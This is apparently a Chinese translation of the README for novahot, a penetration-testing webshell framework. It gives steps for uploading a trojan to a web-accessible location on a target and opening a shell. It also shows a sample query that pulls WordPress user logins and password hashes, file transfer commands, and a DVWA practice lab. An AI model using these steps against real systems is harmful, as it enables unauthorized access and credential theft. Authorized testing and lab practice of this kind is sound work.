novahot 是一个面向渗透测试人员的 Webshell 框架。它实现了一个基于 JSON 的 API,可以与任何语言编写的木马进行通信。默认情况下,它附带用 PHP、Ruby 和 Python 编写的木马。
除了执行系统命令外,novahot 还能模拟交互式终端,包括 mysql、sqlite3 和 psql。它还实现了“虚拟命令”,使你能够使用本地偏好的应用程序上传、下载、编辑和查看远程文件。
直接从 npm 安装可执行文件:
[sudo] npm install -g novahot
然后生成一个配置文件:
novahot config > ~/.novahotrc
使用 novahot trojan list 查看可用的木马。
选择一个适合目标环境的语言对应的木马,然后将其源码复制到一个新文件中。(例如:novahot trojan view basic.php > ~/my-trojan.php)
在新创建的木马中修改控制密码。
将木马上传到目标上可通过 Web 访问的位置。
在 ~/.novahotrc 文件的 targets 属性中配置目标信息。
运行 novahot shell <target> 打开一个 shell。
在内部,novahot 使用“模式”和“适配器”来模拟各种交互客户端,目前包括 mysql、psql(PostgreSQL)和 sqlite3 客户端。
要更改 novahot 的模式,请发出相应的“点命令”:
.mysql { "username" : "mysql-user", "password" : "the-password", "database" : "the-database" }
(切换模式时,连接参数可以以 JSON 形式指定,或者也可以作为目标配置数据保存在 ~/.novahotrc 中。)
例如,mysql 模式使你可以直接运行如下查询:
mysql> SELECT ID, user_login, user_email, user_pass FROM wp_users;
此外还存在一个 payload 模式,可用于向木马 POST 任意数据。更多信息请参阅 Wiki。
novahot 实现了四个“虚拟命令”,它们利用内置于木马中的 payload 来扩展 shell 的功能:
download <remote-filename> [<local-filename>]
将 <remote-filename> 下载到 --download-dir 目录下,并可选择将其重命名为 <local-filename>(如果指定的话)。
upload <local-filename> [<remote-filename>]
将 <local-filename> 上传到 shell 的当前工作目录(cwd),并可选择将 <local-filename> 重命名为 <remote-filename>(如果指定的话)。
view <remote-filename> [<local-filename>]
将 <remote-filename> 下载到 --download-dir 目录下,并可选择将其重命名为 <local-filename>。下载后,文件将由配置中指定的“查看器”应用程序打开。
edit <remote-filename>
将 <remote-filename> 下载到一个临时文件,然后使用配置中指定的“编辑器”打开该文件进行编辑。之后,如果文件在本地保存了更改,该文件将自动重新上传到服务器。
此仓库包含一个基于 Vagrant、Docker 和 Damn Vulnerable Web Application(“DVWA”)构建的实验室环境。准备环境的步骤取决于你的物理主机的能力。
如果你的物理主机上已安装 docker 和 docker-compose,只需执行以下操作:
cd 到此仓库docker-compose upDocker 容器启动后,DVWA 可通过 http://localhost:80 访问。
如果物理主机上未安装 docker,你可以使用 Vagrant/Virtualbox 来访问一个支持 Docker 的虚拟机:
cd 到此仓库vagrant upvagrant sshsudo su; cd /vagrant; docker-compose upDVWA 可通过 http://localhost:8000 访问。
在 ~/.novahotrc 文件中指定以下连接字符串,以便将 novahot 客户端连接到 DVWA 容器中嵌入的 PHP 木马:
{
"targets": {
"dvwa" : {
"uri" : "http://localhost:8000/novahot.php",
"password" : "the-password",
"mysql" : {
"username": "root",
"password": "vulnerables",
"database": "dvwa"
}
}
}
}
然后,你可以通过以下命令建立 Webshell:
novahot shell dvwa
更多信息请参阅 Wiki: